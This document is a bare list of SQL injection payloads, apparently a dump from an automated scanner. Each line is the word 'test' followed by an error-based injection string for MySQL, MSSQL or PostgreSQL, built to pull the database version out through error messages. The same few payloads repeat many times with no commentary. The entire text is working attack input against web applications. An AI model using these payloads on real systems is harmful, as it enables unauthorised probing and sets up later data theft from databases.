testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

